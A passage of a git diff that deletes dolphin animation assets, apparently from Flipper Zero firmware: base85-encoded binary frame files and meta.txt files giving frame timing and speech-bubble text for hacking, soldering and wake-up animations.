zc+6?PfO+5WFg^kBf8qGw&+%42{=M-4c!%2G5C@OYK9sDGJo@mE zc=|o{K>R}C!13q@(k1c-oEH%f2ax_`w+Vy;Kp#mW+(G3Mh*81i|NV#C2NLAw0p$S) zjK(R+2bK3FD9}BG9%1#tVEmF82t5Pi9${8@q z2*e&H@(-OCe-PjU%K`7ze!pPzqi@@zuiwBh9&q@B(4I6H2k;(Wu=xGpEO9&y{{sNv zSHa`!fPK945PARLL1B}F$G58We!=4^fKi*n0)R(>Kwd=sMpFN#Ee^9sN`RpSeXQ-Omt0T1*4V7x;<5f}m}XaK=BksNp&_&&aA;IDQrw8%>hrtZOCMWe~5Kj4f5%sw&91P}4qAq=a*2S$ke#lr;fe8!`HkEck! ua2PZrfe#7~;P5^Gd6S6{KljlC++%42{=M-4c!%2G5C@OYK9sDGJo@mE zc=|o{K>R}C!13q@(k1c-oEH%f2ax_`w+Vy;Kp#mW+(G3Mh*81i|NV#C2NLAw0p$S) zjK(R+2bK3FD9}BG9%1#tVEmF82t5Pi|pA|Cm+*;;$H7I-Cp{;0S-8`vu||@QA=5Lh%L(w20%t=fV5| z@qvrR;14f=JV<50dWnFs;zAb)Jbn}W1PAd|tJPtUFnFE{0S*rj|3Clyf8p>$Fo}u) z1rWH-HGU0LVlXyL1Ovx^fL=erp^x|@0P_!wa{&YVc1S}i@Ild{KQVB@JRdQr-{a}h vFPsJq2;f7)gZMlTfF5MxL=XLTK=&V%0zC)^&w#!n!JmW8TuSo*9{?WUP=735 diff --git a/assets/resources/dolphin/L2_Hacking_pc_128x64/meta.txt b/assets/resources/dolphin/L2_Hacking_pc_128x64/meta.txt deleted file mode 100644 index a47eae2a9..000000000 --- a/assets/resources/dolphin/L2_Hacking_pc_128x64/meta.txt +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 3 -Active frames: 2 -Frames order: 0 1 2 3 4 -Active cycles: 4 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 1 - -Slot: 0 -X: 22 -Y: 25 -Text: Mess with\nthe best, -AlignH: Right -AlignV: Center -StartFrame: 4 -EndFrame: 7 - -Slot: 0 -X: 31 -Y: 25 -Text: die like\nthe rest. -AlignH: Right -AlignV: Center -StartFrame: 8 -EndFrame: 10 diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_0.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_0.bm deleted file mode 100644 index 3fc3644065c7118acc02181bf59501908732b125..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 699 zcmV;s0z~}*0Jj4FfCfGf$p7FUupbCNU>qQN{0AfeDf|P74_<&hL4%kFv=0CeUw}U$ z;QxSl0sBA)zwdqz*j|DT1s}vdgXE6`-|ikC&OYPf7r=cdfcGbeJmc}D`*b3CAG{16 zU9fxV^-+412Js*Nhw|~C|NKYyIQ@ghI{@Hc+wuSXugYP76pcVikN|*`h5-zKLxb^u z2b2l{6bGRIV1M}j;2tm-1dtw{{rZrHD$M^G($N}S! z2Z?aK!1Dk7!RHWwhui=$_=f@>42~UJqSM`&-CydE|Od3pbU@dk(pe)D*Gq;Medn)&zO^^3>E140LmD=|NxemDa1 zh0p8|37|YdBfpq3igEt3^j~*Kuh<)aUfs$XY5Gs&7yaCY%odWRyQSg+4w=1yg|qkID<<)vNDd9{|YR;1AKy{v_k^4~~`r2*5zqBLet&|I!k9 z(O?iy_x^nVfW$YDaCp!G<3@l$;Lzy50s#>GK>R=Z_~>-x(YAXca{ze!ATtx0KqHa( h24lnIhl9ivFpznG2ski+AcM*d4`jHA#Oh?hfB?*oKqQN{0AfeDf|P74_<&hL4%kFv=0CeUw}U$ z;QxSl0sBA)zwdqz*j|DT1s}vdgXE6`-|ikC&OYPf7r=cdfcGbeJmc}D`*b3CAG{16 zU9fxV^-+412Js*Nhw|~C|NKYyIQ@ghI{@Hc+wuSXugYP76pcVikN|*`h5-zKLxb^u z2b2l{6bGRIV1M}j;2tm-1dtw{{rZrHD$M^G($N}S! z2Z?aK!1Dk7!RHWwhui=$_=f@>42~UJqS^Z)ja(BB|=SRLi({sY7sAR+tD#AATKgT`y;--Fga9uN%(9yqMT{(bo13(6lp zus|k&@dS?keQ@9k$K?;d1I8HuN0fSavJiPf|K0$3bOGa^2b5;V@`C?7FbR-6U^oc) zJhZt_loRpefN+812U3sVh9L9!ao{j0A3{I)v&_rlFB_B!G0cF#VT<#hm&_h8d|*6g z4)c%~&Sm0&XCQDI0DS@C1R1zUW!UwIhvH}g8ZG*9fd`*}Iw14FQXm>g1x5fbBKY@Y z`$z=?;8YNJ@F21IL410(edw6yVbP!G{}OTdhsR3*h+rUb>;wbh=l@7a=S6@*Ki~L! zh+-SaI6P&}?)rI1eAh55xbzj)zVo8)x(90|$@712H+20yvc%#pVbH7=Q?2 WAoBnez=R<5gM--MG4LS#6Ndmx6F-&! diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_10.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_10.bm deleted file mode 100644 index f808193580805a0d405d7316ec33cc3708428222..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 699 zcmV;s0z~}*0Jj4FfCfGf$p7FUupbCNU>qQN{0AfeDf|P74_<&hL4%kFv=0CeUw}U$ z;QxSl0sBA)zwdqz*j|DT1s}vdgXE6`-|ikC&OYPf7r=cdfcGbeJmc}D`Fbr z;9&=kY#vwm;5@Z@sJ%)9c#r?V6@05Tu}|7a%==MeNb|NeYDLMlT4_&@L(06a;9 zz~}F(?t#L8)58DL5rOJGRqKzH{e7q3%Ty&^-wM;?FZLh`erCEF2UbFva=L z%ja^jU?BkUm^;l1Ao7_K1`-M$0DT=L|C_*Q5#ZTWL+>;PjN#%iDv&(90nrDXg5dz< zKx&Rb7m0j(vVEiiA>e>{AQeso7C$I2k5;d}M~Gx@@CWGU{}OTdhsR3*f?yzOk%4?X z|LF-l=%Athf9KE$3`2Pb2aNz8G;9O~+A($j#2CZj|KG<$r!I}N!4q%{L*W6KoXPqQN{0AfeDf|P74_<&hL4%kFv=0CeUw}U$ z;QxSl0sBA)zwdqz*j|DT1s}vdgXE6`-|ikC&OYPf7r=cdfcGbeJmc}D`*b3CAG{16 zU9fxV^-+412Js*Nhw|~C|NKYyIQ@ghI{@Hc+wuSXugYP76pcVikN|*`h5-zKLxb^u z2b2l{6bGRIV1M}j;2tm-1dtw{{rZrHD$M^G($N}S! z2Z?aK!1Dk7!RHWwhui=$_=f@>42~UJqS^Z)ja(BC0=z$^~(^Zxje?GWy2V?S!{{iC+fFsI0C=hwX|DF(ebOGa^2b5;V@`V08a0!q+U^oc) zJhZt_lq2EifN+812U3sVh9L5ScscMG6c3>v{8{E@@fVHC2{`OPU@*n`&&%g>fkCqr z7!1MQasv6xxKJI%4g)|Bpgcf>Hwg_hp0N=8O#nlR|4uL<^Y8~m9+@8ok^xbG3&_4b z**?%#J`0V=9y|yveo$W?tzUXXIoNb(`TxY66e01_k&15~z(5qE{*aT-ivWm!zwq}E z#5a&|c+dgkMs5rnc?*sM$MFO3|L^0W)4*VM&&SRN4qQN{0AfeDf|P74_<&hL4%kFv=0CeUw}U$ z;QxSl0sBA)zwdqz*j|DT1s}vdgXE6`-|ikC&OYPf7r=cdfcGbeJmc}D`*b3CAG{16 zU9fxV^-+412Js*Nhw|~C|NKYyIQ@ghI{@Hc+wuSXugYP76pcVikN|*`h5-zKLxb^u z2b2l{6bGRIV1M}j;2tm-1dtw{{rZrHD$M^G($N}S! z2Z?aK!1Dk7!RHWwhui=$_=f@>42~UJqS^Z)ja(BB|=SRLi({sY7sAR+tD#AATKgT`y;--Fga9)Ar89yqMT{(bo13(6lp zutFw)@dS?keQ@9k$K?;dSRs(e0z9MB#gK!_7yj@A%b*V&_&lRFKa>~w;f73s;{m`& z!R4jOe4w9?95aLu7&?@H1ThDn!;c+-K>88?#hzwg5qR97QI2GG0}NlB{JvoEgX1qS z8H2p!1@oDBpc%^?27n(xc!36P5*c^BVj=jN0EUZxoM1uc;0}m9@Dzy#k^xbG3&_4b z**?+%K=>5|9y|yveo$W?tzUX3IoNb(`TxY6ej)MFyGH>7k6<7l4?p@sPdY3D5&r+f z>;X~ULBZod2aOs527_avalm-~AbubH{B$~T7~4OeI2b&B5E+Tgpb^BV<}WZnIK%)$ X2?v+}rUW4eq#Pc{0gr(P;G8%BxBEH0 diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_4.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_4.bm deleted file mode 100644 index a961f4c0a17681a1c74e2d84e79a148aad724c00..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 693 zcmV;m0!sY>0I>r9fCfGf$p7FUupbCNU>qQN{0AfeDf|P74_<&hL4%kFv=0CeUw}U$ z;QxSl0sBA)zwdqz*j|DT1s}vdgXE6`-|ikC&OYPf7r=cdfcGbeJmc}D`*b3CAG{16 zU9fxV^-+412Js*Nhw|~C|NKYyIQ@ghI{@Hc+wuSXugYP76pcVikN|*`h5-zKLxb^u z2b2l{6bGRIV1M}j;2tm-1dtw{{rZrHD$M^G($N}S! z2Z?aK!1Dk7!RHWwhui=$_=f@>42~UJqS2Y|N1+?Jbr-k z{z(Djpa0MQ+B-vhh2sFQJIl}f2Z%I4L-)VHpdSnfJZ8Rq_&sOy$OPhq4;)rve?I(h z1?4ZkSRoTYc!EcNKDclPWAcmtED%U!0UlA|K!eUF{P2Uzpbs4QJfk*0lqd1yf=q$q z0l-JW<)zAep&t)CBZLnaKY}0lA&5Mno(_Bl1q0|u{}y?fd`07Of=)XS7z{CfbMpDz zpipeUJZ28_kQdHn!hr4|a2f!80pbK1xJYT3_yzz!6F?B+uhWbOJp2LC2c|{=q<~al z0`f19c2BewkAeeo2af^^ACwozt5@EU4t5HgXpn2anqQN{0AfeDf|P74_<&hL4%kFv=0CeUw}U$ z;QxSl0sBA)zwdqz*j|DT1s}vdgXE6`-|ikC&OYPf7r=cdfcGbeJmc}D`*b3CAG{16 zU9fxV^-+412Js*Nhw|~C|NKYyIQ@ghI{@Hc+wuSXugYP76pcVikN|*`h5-zKLxb^u z2b2nd6bGRIV1M}j;2tm=1dtw{{rZrHP-5s;UI*I%px2mpVO z`b791w0H%49$)BuqF)3Dk01ZfhloW;KoQhW0pv^`2S0sRfWR<-@$>+M9*gn^j}!j` z^iSsi@oz8YPvr-l0s{YU&0HQZ77*Z5=pSegf*%P7uaEFQA1C}uIC(%k@BjTB;2u9f zc}FCG@z4L~|Lq;2zCiM@JIl}f2Z%I4L-(JE#{q!{jMvY<2dsWPAQ})naaoD{`|-dR zlsy+^C*#Ke;RD7Fr60izLFe$}z+g~5gn#j8nU};~Hz*WinE`;q7w11Om^@(k zzvVEiif$)HNAQeso7C$I2k5;d}6CK_F{T%<|PCpR%>0l8I1PxL!FNdG~At#*{ z0SNzp=gBM7f{zT>g@%TVyCo+IX5~G;> e`61x(1q>t}U;+*dAP6AxgM--MG4LS#6Ndn7H99^3 diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_6.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_6.bm deleted file mode 100644 index 2f030833a27a95c21247e158074d5fe721ef4e51..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 712 zcmV;(0yq5u0K@|SfCfGf$p7FUupbCNU>qQN{0AfeDf|P74_<&hL4%kFv=0CeUw}U$ z;QxSl0sBA)zwdqz*j|DT1s}vdgXE6`-|ikC&OYPf50nsIf%KjO&KOTXdB@{R^9P(y zBlm%W%eD_Vz&y2jsJ%)9c#r?V=Qt0&<3IoSgUaAPdB^M?G1vzJ{@;)P?S4}afTU^& zRDc8oq$T0FLxb^u2b2oo6bGRIV1M}j;2tm;gpeMd{rZrHD$M^G($RH4mfILfu?gy9u?hhygLINLf0LS7S2zWe@LZBde$RZGk5IpJl586z} zqb~=pzgPqi0RJKMiGV$5@Cx`mztH(af(Q>DKmVT(5Q>n1Bj^X2FnApO^0En z0)um)Fc@O|=jHRcc%V4oc+4H=ATONA1UYCN2Y??yc!36P4;dajHZ>6Y%?$%2zg!?y zAbEHLq7OO+;sMBj)gS`$FOPOlv=a(^e2@yK0t+9M7ssnt-oQQqk-NYjqo4dq$KoFy zECLaLfvQFY@bmwqB=e%cAfNC2`T+rmZy@0DpaaH@0D-}w(S8I1A^3s#fA{gw>B*yP u_C)3Y@%TVyCo+IXBk&Bzhsh5Ih$vwo^8gTVVE{n~lpG$(aS@5s$%6o#P)TY4 diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_7.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_7.bm deleted file mode 100644 index 4519819ea5c7e9d0127fbaf538f5aa276c881d4c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 732 zcmV<20weta0N4WmfCfGV7(hN_|A2W$0rLUygZ2T!2b6#WKLN=A3V#6N1J|GrP+;Z( z<=H`&OaarjzAtI!uJEq|Mv%+LINLf0LS7S z2zWe@LZBde$RZGk5IpJl586!O83}kjb^5>{fCu>xq)Y+pM}Sws<^G4tCGbFa@&Ekz zc!X4h0Ubo}9z?<5bNAJCP~idN=m7{l7vv8fC;kWMpUwf|-e1h0$`3jO1^(ZfxIADi zA;725KF}WoJ`xXKAK-pIPxzE@@_>2Y|N1+?Jbsz*c*i7w@z4L~|Lq;2zFzQn*d68P z{sY7sAR+tB;p&mVgT`y;--FgK9}o=)9yqMT{(bo13(6Nius|k&@dS?keQ@9t$K?aR zgT@&EN0fSavJiPe|K0$3bOGa^2b5;V@`C?7FbR-6U^oc)JhZt_loRpefN+812U3sV zh9L5RPB_pQ6c3>v{8{E@@fVHC1qSCpU@*n`&&%g>@j!9F@t8Z#KwmkK2y)Ok4*))Z z@d6Co9x^<5Y-%C*ni>X4ez-uYK=SYhL>_bt!~>B5sz3$gUmonAXeJc+`5+Ze1QtIi zFOOEQy?}fJBX@v5M?d(JkHkJYSOg;h15}I);phKIN#{j?K|kO5^a2AA-a*0RKnIN) z0Rw|WqWlO1L-7Of|L^0W)00No?1{_)Pl0{-8R|LuNL3;?8R z0#twm1f(zsWC9!?i}*aCPzazs2m=HE$M*p7fWRbx^!M-7gg+br*l7Utm+#?!{1`lF z0P(~J*d9N>oPIzL9DqDah3*HJ|LzYsgakg|0guEu5b${*g+M^{kVGL6AbHd9AGDdm zG7|85>-B&^01xsXNSFiGj{vWO%l!|OOW=U<G{Jc)zA=kKcOp~3^l z&;k&8FUTG|Py7$jKb!-_yuX=0lpb^l3;n+}aCpF2LxE4AeV{%Fd?X&eKfwHapYbT+ zMw89FhaaKmVWqw04I13&sIpcbA{|4-ja8hwp!ZDn|kj8Lyvy4_W;1 zU^F0j;e*`fHloP?vfWV-A2>;^GGcSm|Zcs_b zVgmt&FV22nJCq6ym3igEt8cGaefnh<)aOA;n*=5Gs&7 zyaCY%rbYqCfYl%Z@-L5ePqc22f&=7$RX7k>{Gh%)TE6s%cX$KzbN`7rC`03=BNQD{ zFeNDeq$KmAz#<>-{Q3a_h;Ja^@t_07jNBMBaxcINkKza6|KG<$r+~oipNO2m9zO^S n#O6>4=lTJd`1v8=@dXSd9$*3v3?K*~@`HofE-~;R{1b-&_Jm6b diff --git a/assets/resources/dolphin/L2_Soldering_128x64/frame_9.bm b/assets/resources/dolphin/L2_Soldering_128x64/frame_9.bm deleted file mode 100644 index 1339c607e63f0d52de7d04b4076e94a820e1a774..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 698 zcmV;r0!94+0JZ}EfCfGf$p7FUupbCNU>qQN{0AfeDf|P74_<&hL4%kFv=0CeUw}U$ z;QxSl0sBA)zwdqz*j|DT1s}vdgXE6`-|ikC&OYPf7r=cdfcGbeJmc}D`Fbr z;9&=kY#vwm;5@Z@sJ%)9c#r?V6@05Tu}|7a%==MeNb|NeYDLMlT4_&@L(06a;9 zz~}F(?t#L8)58D(8>|NlpL2anUflp_fAGynPj`$uSRm%Pj-aR-l|_zw_hfQRq*hrm7pVdzbK`|x`8 z*MguBc;d4Y`S;_1FDzXBgdp++j{bdcG>ik~2Tl#*1dllM@bWl001;PbV2bX|4AoGx1ARLGd zQHUb(FOPOlw17lB5Dz2*slbBA0l5{1PxL!FNdG~ zAt#*_6hH6$`T+rmZy@0DpaaH@fPlfE5q1E?7{lTJ-^W9zE{(In6L1Ve;Q^SO$^jgQ gz%w2nAP`~zp;M3n1A@UIc|pPKml*gEehI^X01SRc?f?J) diff --git a/assets/resources/dolphin/L2_Soldering_128x64/meta.txt b/assets/resources/dolphin/L2_Soldering_128x64/meta.txt deleted file mode 100644 index f47cfe047..000000000 --- a/assets/resources/dolphin/L2_Soldering_128x64/meta.txt +++ /dev/null @@ -1,23 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 9 -Active frames: 5 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 9 10 9 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 1 - -Slot: 0 -X: 71 -Y: 28 -Text: I am busy rn -AlignH: Left -AlignV: Center -StartFrame: 10 -EndFrame: 13 diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_0.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_0.bm deleted file mode 100644 index 3c59712a8d77f631ff015adfce37fb3f85d52d67..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 874 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 Y1_3DlBnJQV$Bzau4kQr3Eg$Y5{N^H`Z~y=R diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_11.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_11.bm deleted file mode 100644 index 215b347b7a9e11fbe54e5c3c1d4c0de052032346..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 833 zcmV-H1HSwL06hc$fII=<4*(o|bI>q({sGbN29zQJzy>eu1UE<|0s{~tUw^2&By=d4=w-Z12dpNHU%O7_Q{9$r~jew=>!77fIp1i|M~y_J^grm zL-4>J1^>YS-~Yd#{2#yB1F$cS0ek?B?4mdMN6rI)XP}IK6F_jFhw2I$;5fJeLHJ_0 z81Q)B{1A50&)^sD2ev=(2aWUKDG&kRKmG&p1IB;&|AW%u|DcnE05$pN<2eThoxAVB z@q^31J-TM+r1P`P_(|d;jQZJ|_JPa)X4~-i;PxY&{>~3jK!d~vF~Csc!Qu`${Quas z9L#5CBM^9_L>_-n|Bo>_+1!7Z{t!H%9SI0{dAX2y%*%sA+!==dKbQY8;Pl=9_BOkMyuJ zaCrD&^Z)lBpKAw;9Pj(Uc+da;AH=@B=;tTXeh(TtkWu4Y^gV?>fbqfqZ|3pS{6F3F z`h4mT<9Ofm+0Tdno}XNXOn^E1{$t^P?kCqFq5uCp_4ucUf89@|?-8Q^{Qoof*N1Ko zP2Fb^#T<|L9y}eNbv~1@c@PGF8KDQoK9js9B`QDq{AUIa6#7Q-o}b_xZ1J2u+-NXx zNblo#?@CaA|G3N(@BiFDV*rtd;J-fq`~m?PhJUU9I0r$9Fnk;&8YBUX!atU4oCCqe z{=o1*kZ9-s@wok>-81}fdDzSjJj_4Ah{xyu3v^HUgXeo_4#6gm#2z<~1-cjhgY)gO z3d34lCcSow%Nr1F?VJ^>(rSOjAMpyZe3Po%>qkO+hWfDtJbNV-4%jwTQA zT?lke;{c9ahy~|_lY{`#j*z^)5U_Z`0jB~7kL$z_ADMWe0P}#rB_HH~*dmyL;Kl*O Lf*1v&1;c;2w>n6`-9)|0vH$j5C8Ln z;y>Vle=i^GfIYAO=sp4icz{MG0KpLu)N}YaKY{~jfI=^y;t~D({&*ZefdHsLAfL_0 z|K<-Z`1od22nK=!0{`~Ohxe!dr|`)H0)c?Q|K{eB{(JiH|A)pu0Ki}T5DowN5;#A9 zvIpRwzyJk&0FCUTH~B}-1Ats0jDHhAaG;0k8Wn*61_uE6Vz?Oac;5UFegHUzV}9^^ zWB&kn-zE{k@svl0;6D&NXYr4KJw6x;2{=FlU!FoR5O8_Npd23{l;K{vA{rM0P%)kzdrULz#}loGy{M<5J17OaF8I71RgNR1%Luj2p$LW4IKae zHy;&@!|}lxjt3w8Pl&{0^YK{5KbSZV1Ay!jX#7FrcomE@{Re^AJQxso@&DiWpWvD> zXnZ;iF!&G0|Gx@MBG)ZFvoEOJ=j|YeVbKvoVpT+_YEcQNP z4=FsS@ehD_AQu4`P6B2^l>6W2#){=Fc|g7fL?e{{3ZxnZ*E>f06@Wiedrd9tRcz0|2x@xNrdA CvT4fz diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_13.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_13.bm deleted file mode 100644 index 0e5389fd348d5324148c4c07b3a2add349915ba5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 745 zcmVq({sGbN29zQJzy>eu1UE<|0s{~tUw^2&By=d4=w-Z12dpNHU%O7_Q{9$r~jew=>!77fIp1i|M~y_J^grm zL-4>J1^>YS-~Yd#{2#yB1F$cS0ek?B?4mdMN6rI)XP}IK6F_jFhw2I$;5fJeLHJ_0 z81Q)B{1A50&)^sD2ev=(2aWUKDG&kRKmG&p1IB;&|AWvpG!k%t2ERN9j2s?d!QlA8 z<=>v21a>6y1rH58K(U_#!~onrI6uIrKL^MVPO@tim;p#R``W4%8xDE{LxKzTra05ON) zzdrCN|06KK*+4!5GFJ|LK0o-(AZjha@B_vNfnN|rV{!3V&;J|{c;IpW-~aStG5Pqc zWBUWnpUC_p z1Mx2qJbCaq1_A*%6$}#|4-f$7;yCfJ&>#~4c)+pq5P3=EFo=8tK>)A_#sfjgFUp@u zhEE_72nPTnQYw<9x;U6Q{6r&wL5bvUL;~}|Nx}eV$4FjYh*&&efYX5k$Mxa|kIcMK bfO)`R5|8pgZ~shq@M8etK@0-X{^9??uxMX* diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_14.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_14.bm deleted file mode 100644 index a13cda839d56f230294e0d8dd150fd1851da0094..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 747 zcmV2w>n6`-9)|0vH$j5C8Ln z;y>Vle=i^GfIYAO=sp4icz{MG0KpLu)N}YaKY{~jfI=^y;t~D({&*ZefdHsLAfL_0 z|K<-Z`1od22nK=!0{`~Ohxe!dr|`)H0)c?Q|K{eB{(JiH|A)pu0Ki}T5DowN5;#A9 zvIpRwzyJk&0FCUTH~B}-1Ats0jDHhAaG;0k8Wn*61_uE6Vz?Oac;5UFegHUzV}9^^ zWB&kn-zE{k@svl0;6D&NXYr4KJw6x;2{=FlU!FoR5O8_Npd23+OhpZ*7p1Rl}=c@PGF8Q}ti z0Fw+QC;s3X{AUIWFXA|&7|&1h|NpbbaOY8g3(hf)^!&l&`;5U6MFCP2GX?qg|G>i; zhCz=)JP<&^uyBwdkOUqu!%%=q0RzDPL8G7l#^d6#n0`1TF~H;hsqq+$ets($$MXjP z;BXy+O&^FnZvwG~f1vO?2ZI6+9zXm46Z{iK4G)JwrXKf#dVX dh6Tz@;($v($pNrMF#z$81B(FxfLb72H~{T)VI2Sf diff --git a/assets/resources/dolphin/L2_Wake_up_128x64/frame_15.bm b/assets/resources/dolphin/L2_Wake_up_128x64/frame_15.bm deleted file mode 100644 index 7129cf103810c9464627eddab0dbb924fc2344aa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 753 zcmVq({sGbN29zQJzy>eu1UE<|0s{VKTHSzz64-8X5|KKm%W% z1I7*?FktX}VDj(JPJ$c~c>;%qo*`KS!~onrINU>HJ_pbg=iv1jiEK(^1OLat>>o5} zfCL_#emn#UK=kj=*#qDQqyvY)8<>5O!XF-axSy&gdJ;k!gW zF^NzBaD&^!2jBm){QFx}f$cy4{XcU0@O>a4Qt;8qqK_KjK5&1#`MgkN z1KjOD`2~w1lQ)$^G4O|ngdVyW0DNolPY5Jn`~Z1h@fsi?{^#+ac}M;L z^n&m`K?a zlgI=@0l)~4f`3v!7e^BZKZt~I0g{efhy~|_lY}}m@ECvwG4dCW|IrHvj1U@dFU0@# j;s=kq({sGbN29zQJzy>eu1UE<|0s{!77fIp1i|2cqvJ^grmL-8NK@Gt%d z2LJv1|KR=PQD3PzfCYb)eBd|;7$q7bGy)0;exaeB2aA9tABHP|j|YwK!3S*|{sDgQ zdt?6$2fq36Ifwx8AO8XPRz*Mj9)$cr0-%&mzdQ$w96n&d;P~J$5C498bP?E-$TU1O z@dl6>U;_k@Y-hpo05=bg2T^fgC;kL@@We=4Q2GH5KR*}BbVK9Nkb~L|{WyL8e=iTu zEu1h9K>9!QI6^#szVvvY#{nO_UJD~Y2@ik&8J!E_hlDVU{vCE-j6MPUfwIfP2cQ3y z=B;3O&;S1)#J;>A5CK5g#y}Ja04KwP{@=rh0BVFd-XH|{f7ycoC=Np=Kpg#lFbxm` zWHdkj=bpb5@PnHFh|z!kf0_Ji!ykYH+l&9_|AFJd53uk+sTtu15Uyfn!H3#EjP$_* zLuZWP!DRl0g{Y;UICp|Kl)^;WWGiM$iA_ zasR{uVfZ>02Os@Uh^VLHv5)^SbMQdm38nD`jo?-=|MVPYBV%fmPw~Jd3=SNq7={P) 